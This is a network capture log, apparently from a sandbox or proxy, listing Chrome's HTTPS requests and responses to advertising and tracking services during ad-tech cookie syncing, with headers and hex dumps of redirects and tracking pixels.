2024-04-27 22:42:11 UTC	510	IN	HTTP/1.1 200 OK x-amzn-RequestId: fecf2376-5dbe-e830-a068-a2f596b53d8d Access-Control-Allow-Origin: * Access-Control-Allow-Headers: authorization,cache-control,content-type,pragma,x-amz-content-sha256,x-amz-date,x-amz-target,x-amz-user-agent Access-Control-Allow-Methods: POST Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amz-request-id,x-amz-id-2,x-amzn-ErrorMessage,Date Access-Control-Max-Age: 172800 Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.4	50090	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	732	OUT	GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:11 UTC	625	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 355 Connection: close server: Kestrel location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent= set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:11 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjA-dzzqcXzPBAFGAEgASgCMgsItO_foMDF8zwQBTgBWghwdWJtYXRpY2AC; expires=Sun, 27 Apr 2025 22:42:11 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:11 UTC	355	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 34 4e 44 6b 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 Data Ascii: Redirecting to: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=">https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.4	50180	3.91.171.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	711	OUT	OPTIONS / HTTP/1.1 Host: kinesis.us-east-1.amazonaws.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization,cache-control,content-type,pragma,x-amz-content-sha256,x-amz-date,x-amz-target,x-amz-user-agent Origin: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	510	IN	HTTP/1.1 200 OK x-amzn-RequestId: f79ffa2d-6dbd-d906-a938-7baeef8c9673 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: authorization,cache-control,content-type,pragma,x-amz-content-sha256,x-amz-date,x-amz-target,x-amz-user-agent Access-Control-Allow-Methods: POST Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amz-request-id,x-amz-id-2,x-amzn-ErrorMessage,Date Access-Control-Max-Age: 172800 Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.4	50182	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	939	OUT	GET /beacon/prebid-server/?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID&dnr=1 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IkESATZH81_FapvzRxGQQ8ru
2024-04-27 22:42:11 UTC	733	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: text/html Content-Length: 2735 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: ljtrtbexp=eJxdzDEOACAIA8C%2FMDtYQEC%2FZvy7iZMwXtN2E4wWHEPNRdBIZ3ZIsWajlwL7s4bxeIdSB5GDydlu%2F8G5R8IgLQ%3D%3D; Path=/; Domain=.lijit.com; Expires=Sun, 27-Apr-2025 22:42:11 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IkESATZH81_FapvzRxGQQ8ru; Path=/; Domain=.lijit.com; Expires=Sun, 27-Apr-2025 22:42:11 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Vary: Accept-Encoding, User-Agent
2024-04-27 22:42:11 UTC	2735	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 0a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 73 6f 76 72 6e 20 42 65 61 63 6f 6e 20 28 31 31 20 53 65 6e 74 20 2f 20 31 30 20 4d 61 78 29 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 27 73 6f 76 72 6e 2d 62 65 61 63 6f 6e 2d 70 69 78 65 6c 27 20 73 74 79 6c 65 3d 27 77 69 64 74 68 3a 30 70 78 3b 20 68 65 69 67 68 74 3a 30 70 78 3b 27 20 77 69 64 74 68 3d 27 30 27 20 68 65 69 67 68 74 3d 27 30 27 20 73 72 63 3d 27 68 74 74 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""https://www.w3.org/TR/html4/strict.dtd"><html><head><title>sovrn Beacon (11 Sent / 10 Max)</title></head><body><img class='sovrn-beacon-pixel' style='width:0px; height:0px;' width='0' height='0' src='htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.4	50184	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	841	OUT	GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4\|t
2024-04-27 22:42:11 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 4ZF010ETT15WTYGFQ50C Set-Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:42:11 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:42:11 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-27 22:42:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.4	50188	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	860	OUT	GET /pixel?google_nid=pmeb&google_sc=1&google_hm=7ntZ_p2vQV2pPHr0gCDdew%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	662	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent= Date: Sat, 27 Apr 2024 22:42:11 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 301 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	301	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 6a 73 2f 75 73 65 72 5f 73 79 6e 63 2e 68 74 6d 6c 3f 70 3d 31 35 36 35 37 38 26 61 6d 70 3b 70 72 65 64 69 72 65 63 74 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.4	50187	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	872	OUT	GET /pixel?google_nid=pubmatic&google_hm=RUU3QjU5RkUtOURBRi00MTVELUE5M0MtN0FGNDgwMjBERDdC&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	678	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= Date: Sat, 27 Apr 2024 22:42:11 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	313	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 6a 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.4	50186	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	760	OUT	GET /xuid?mid=7976&xuid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:11 UTC	612	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:11 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:11 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-27 22:42:11 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.4	50185	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	833	OUT	GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	736	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEJOnsZ4Y0zvykm-BqQM3Kw0&google_cver=1 Date: Sat, 27 Apr 2024 22:42:11 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 379 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:11 UTC	379	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 78 4e 7a 63 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.4	50189	54.83.59.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1053	OUT	GET /sync/pubmatic/EE7B59FE-9DAF-415D-A93C-7AF48020DD7B?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:11 UTC	778	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-04-27 22:42:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.4	50192	68.67.160.117	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
